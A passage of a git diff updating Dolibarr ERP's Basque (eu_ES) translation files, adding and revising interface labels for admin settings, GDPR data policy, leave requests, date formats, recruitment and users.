      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Opening hours OpeningHoursDesc=Enter here the regular opening hours of your company. ResourceSetup=Configuration of Resource module @@ -2171,6 +2214,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2199,12 +2243,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Gomendatua NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2212,6 +2256,7 @@ NoExternalModuleWithUpdate=No updates found for external modules SwaggerDescriptionFile=Swagger API description file (for use with redoc for example) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=You enabled deprecated WS API. You should use REST API instead. RandomlySelectedIfSeveral=Randomly selected if several pictures are available +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Database password is obfuscated in conf file DatabasePasswordNotObfuscated=Database password is NOT obfuscated in conf file APIsAreNotEnabled=APIs modules are not enabled @@ -2251,7 +2296,7 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL @@ -2275,7 +2320,55 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). diff --git a/htdocs/langs/eu_ES/companies.lang b/htdocs/langs/eu_ES/companies.lang index 388854d1053..e6bc33658a7 100644 --- a/htdocs/langs/eu_ES/companies.lang +++ b/htdocs/langs/eu_ES/companies.lang @@ -60,13 +60,14 @@ NatureOfThirdParty=Nature of Third party NatureOfContact=Nature of Contact Address=Address State=State/Province +StateId=State ID StateCode=State/Province code StateShort=State Region=Region Region-State=Region - State Country=Country CountryCode=Country code -CountryId=Country id +CountryId=Country ID Phone=Telefonoa PhoneShort=Telefonoa Skype=Skype @@ -163,14 +164,14 @@ ProfId5CL=- ProfId6CL=- ProfId1CM=Id. prof. 1 (Trade Register) ProfId2CM=Id. prof. 2 (Taxpayer No.) -ProfId3CM=Id. prof. 3 (Decree of creation) -ProfId4CM=Id. prof. 4 (Certificate of deposits) +ProfId3CM=Id. prof. 3 (No. of creation decree) +ProfId4CM=Id. prof. 4 (Deposit certificate No.) ProfId5CM=Id. prof. 5 (Others) ProfId6CM=- ProfId1ShortCM=Trade Register ProfId2ShortCM=Taxpayer No. -ProfId3ShortCM=Decree of creation -ProfId4ShortCM=Certificate of deposits +ProfId3ShortCM=No. of creation decree +ProfId4ShortCM=Deposit certificate No. ProfId5ShortCM=Others ProfId6ShortCM=- ProfId1CO=Prof Id 1 (R.U.T.) @@ -312,11 +313,11 @@ CustomerAbsoluteDiscountShort=Absolute discount CompanyHasRelativeDiscount=This customer has a default discount of %s%% CompanyHasNoRelativeDiscount=This customer has no relative discount by default HasRelativeDiscountFromSupplier=You have a default discount of %s%% from this vendor -HasNoRelativeDiscountFromSupplier=You have no default relative discount from this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount from this vendor CompanyHasAbsoluteDiscount=This customer has discounts available (credits notes or down payments) for %s %s CompanyHasDownPaymentOrCommercialDiscount=This customer has discounts available (commercial, down payments) for %s %s CompanyHasCreditNote=This customer still has credit notes for %s %s -HasNoAbsoluteDiscountFromSupplier=You have no discount credit available from this vendor +HasNoAbsoluteDiscountFromSupplier=No discount/credit available from this vendor HasAbsoluteDiscountFromSupplier=You have discounts available (credits notes or down payments) for %s %s from this vendor HasDownPaymentOrCommercialDiscountFromSupplier=You have discounts available (commercial, down payments) for %s %s from this vendor HasCreditNoteFromSupplier=You have credit notes for %s %s from this vendor @@ -343,7 +344,7 @@ DefaultContact=Default contact/address ContactByDefaultFor=Default contact/address for AddThirdParty=Create third party DeleteACompany=Delete a company -PersonalInformations=Personal data +PersonalInformations=Datu pertsonalak AccountancyCode=Accounting account CustomerCode=Customer Code SupplierCode=Vendor Code @@ -426,7 +427,7 @@ ChangeContactInProcess=Change status to 'Contact in process' ChangeContactDone=Change status to 'Contact done' ProspectsByStatus=Prospects by status NoParentCompany=None -ExportCardToFormat=Export card to format +ExportCardToFormat=Esportatu txartela formatuan ContactNotLinkedToCompany=Contact not linked to any third party DolibarrLogin=Dolibarr login NoDolibarrAccess=No Dolibarr access @@ -443,10 +444,10 @@ AddAddress=Add address SupplierCategory=Vendor category JuridicalStatus200=Independent DeleteFile=Delete file -ConfirmDeleteFile=Are you sure you want to delete this file? +ConfirmDeleteFile=Are you sure you want to delete this file %s? AllocateCommercial=Assigned to sales representative Organization=Organization -FiscalYearInformation=Fiscal Year +FiscalYearInformation=Urte fiskala FiscalMonthStart=Starting month of the fiscal year SocialNetworksInformation=Social networks SocialNetworksFacebookURL=Facebook URL @@ -497,3 +498,5 @@ RestOfEurope=Rest of Europe (EEC) OutOfEurope=Out of Europe (EEC) CurrentOutstandingBillLate=Current outstanding bill late BecarefullChangeThirdpartyBeforeAddProductToInvoice=Be carefull, depending on your product price settings, you should change thirdparty before adding product to POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=email already exists please rewrite your company name +TwoRecordsOfCompanyName=more than one record exists for this company please contact us to complete your partnership request" diff --git a/htdocs/langs/eu_ES/datapolicy.lang b/htdocs/langs/eu_ES/datapolicy.lang new file mode 100644 index 00000000000..375b0578299 --- /dev/null +++ b/htdocs/langs/eu_ES/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Bezeroa +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Hornitzailea +DATAPOLICY_CONTACT_CLIENT = Bezeroa +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Hornitzailea +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/eu_ES/dict.lang b/htdocs/langs/eu_ES/dict.lang index d44fcaa0375..ffba9ad9e34 100644 --- a/htdocs/langs/eu_ES/dict.lang +++ b/htdocs/langs/eu_ES/dict.lang @@ -21,7 +21,7 @@ CountryNL=Netherlands CountryHU=Hungary CountryRU=Errusia CountrySE=Suetzia -CountryCI=Ivoiry Coast +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Kamerun @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Mrs. +CivilityMMEShort=Mrs. CivilityMR=Jauna +CivilityMRShort=Jauna CivilityMLE=Anderea CivilityMTRE=Master CivilityDR=Doctor @@ -309,17 +311,17 @@ DemandReasonTypeSRC_EMPLOYEE=Langilea DemandReasonTypeSRC_SPONSORING=Sponsorship DemandReasonTypeSRC_SRC_CUSTOMER=Incoming contact of a customer #### Paper formats #### -PaperFormatEU4A0=Format 4A0 -PaperFormatEU2A0=Format 2A0 -PaperFormatEUA0=Format A0 -PaperFormatEUA1=Format A1 -PaperFormatEUA2=Format A2 -PaperFormatEUA3=Format A3 -PaperFormatEUA4=Format A4 -PaperFormatEUA5=Format A5 -PaperFormatEUA6=Format A6 -PaperFormatUSLETTER=Format Letter US -PaperFormatUSLEGAL=Format Legal US +PaperFormatEU4A0=4A0 formatua +PaperFormatEU2A0=2A0 formatua +PaperFormatEUA0=A0 formatua +PaperFormatEUA1=A1 formatua +PaperFormatEUA2=A2 formatua +PaperFormatEUA3=A3 formatua +PaperFormatEUA4=A4 formatua +PaperFormatEUA5=A5 formatua +PaperFormatEUA6=A6 formatua +PaperFormatUSLETTER=Formateatu letra US +PaperFormatUSLEGAL=Formatua Legal US PaperFormatUSEXECUTIVE=Format Executive US PaperFormatUSLEDGER=Format Ledger/Tabloid PaperFormatCAP1=Format P1 Canada diff --git a/htdocs/langs/eu_ES/holiday.lang b/htdocs/langs/eu_ES/holiday.lang index 180e39ed54a..5451d56ae7f 100644 --- a/htdocs/langs/eu_ES/holiday.lang +++ b/htdocs/langs/eu_ES/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Monthly statement MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Start date @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=You must select a start date. NoDateFin=You must select an end date. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Reason UserCP=Erabiltzailea ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Previous Balance NewSoldeCP=New Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Taldeak +users=Erabiltzaileak +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/eu_ES/main.lang b/htdocs/langs/eu_ES/main.lang index 939f02c4873..3648034a1d1 100644 --- a/htdocs/langs/eu_ES/main.lang +++ b/htdocs/langs/eu_ES/main.lang @@ -1,26 +1,32 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. SeparatorThousand=, -FormatDateShort=%m/%d/%Y -FormatDateShortInput=%m/%d/%Y -FormatDateShortJava=MM/dd/yyyy -FormatDateShortJavaInput=MM/dd/yyyy -FormatDateShortJQuery=mm/dd/yy -FormatDateShortJQueryInput=mm/dd/yy +FormatDateShort=%Y/%m/%d +FormatDateShortInput=%Y/%m/%d +FormatDateShortJava=yyyy/MM/dd +FormatDateShortJavaInput=yyyy/MM/dd +FormatDateShortJQuery=yy/mm/dd +FormatDateShortJQueryInput=yy/mm/dd FormatHourShortJQuery=HH:MI FormatHourShort=%I:%M %p FormatHourShortDuration=%H:%M FormatDateTextShort=%b %d, %Y FormatDateText=%B %d, %Y -FormatDateHourShort=%m/%d/%Y %I:%M %p -FormatDateHourSecShort=%m/%d/%Y %I:%M:%S %p +FormatDateHourShort=%Y/%m/%d %I:%M %p +FormatDateHourSecShort=%Y/%m/%d %I:%M:%S %p FormatDateHourTextShort=%b %d, %Y, %I:%M %p FormatDateHourText=%B %d, %Y, %I:%M %p DatabaseConnection=Database connection @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=No translation Translation=Translation +Translations=Translations CurrentTimeZone=TimeZone PHP (zerbitzaria) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Valid Approve=Approve Disapprove=Disapprove ReOpen=Re-Open +OpenVerb=Open Upload=Upload ToLink=Esteka Select=Select @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=No user group defined Password=Pasahitza -PasswordRetype=Retype your password +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Note that a lot of features/modules are disabled in this demonstration. Name=Izena NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Deskribapena DescriptionOfLine=Description of line DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Event @@ -311,7 +320,7 @@ DurationMonths=months DurationWeeks=weeks DurationDays=days Year=Year -Month=Month +Month=Hilabetea Week=Week WeekShort=Week Day=Day @@ -344,7 +353,7 @@ KiloBytes=Kilobytes MegaBytes=Megabytes GigaBytes=Gigabytes TeraBytes=Terabytes -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Events about this member ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s late ToDo=To do Completed=Completed @@ -517,6 +527,7 @@ or=or Other=Besteak Others=Others OtherInformations=Other information +Workflow=Workflow Quantity=Quantity Qty=Qty ChangedBy=Changed by @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Attached files and documents JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=UUUU-HH DateFormatYYYYMMDD=UUUU-HH-EE DateFormatYYYYMMDDHHMM=UUUU-HH-EE OO:SS @@ -709,6 +721,7 @@ FeatureDisabled=Feature disabled MoveBox=Move widget Offered=Offered NotEnoughPermissions=You don't have permission for this action +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Session name Method=Method Receive=Receive @@ -798,6 +811,7 @@ URLPhoto=URL of photo/logo SetLinkToAnotherThirdParty=Link to another third party LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiscal year ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Kontratuak SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Rate +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Barneko erabiltzailea +ExternalUser=Kanpoko erabiltzailea diff --git a/htdocs/langs/eu_ES/projects.lang b/htdocs/langs/eu_ES/projects.lang index ee6916fbc5e..8224129060e 100644 --- a/htdocs/langs/eu_ES/projects.lang +++ b/htdocs/langs/eu_ES/projects.lang @@ -156,6 +156,7 @@ ProjectsAndTasksLines=Projects and tasks ProjectCreatedInDolibarr=Project %s created ProjectValidatedInDolibarr=Project %s validated ProjectModifiedInDolibarr=Project %s modified +ProjectClosedInDolibarr=Project %s closed TaskCreatedInDolibarr=Task %s created TaskModifiedInDolibarr=Task %s modified TaskDeletedInDolibarr=Task %s deleted diff --git a/htdocs/langs/eu_ES/recruitment.lang b/htdocs/langs/eu_ES/recruitment.lang index 6b0e8117254..3076a538e5c 100644 --- a/htdocs/langs/eu_ES/recruitment.lang +++ b/htdocs/langs/eu_ES/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Soldata +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/eu_ES/users.lang b/htdocs/langs/eu_ES/users.lang index b486ad27267..f20d975f51b 100644 --- a/htdocs/langs/eu_ES/users.lang +++ b/htdocs/langs/eu_ES/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Remove from group PasswordChangedAndSentTo=Password changed and sent to %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Request to change password for %s sent to %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Users & Groups @@ -68,7 +68,6 @@ CreateDolibarrLogin=Create a user CreateDolibarrThirdParty=Create a third party LoginAccountDisableInDolibarr=Account disabled in Dolibarr. UsePersonalValue=Use personal value -InternalUser=Barneko erabiltzailea ExportDataset_user_1=Users and their properties DomainUser=Domain user %s Reactivate=Reactivate @@ -114,7 +113,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +123,9 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email 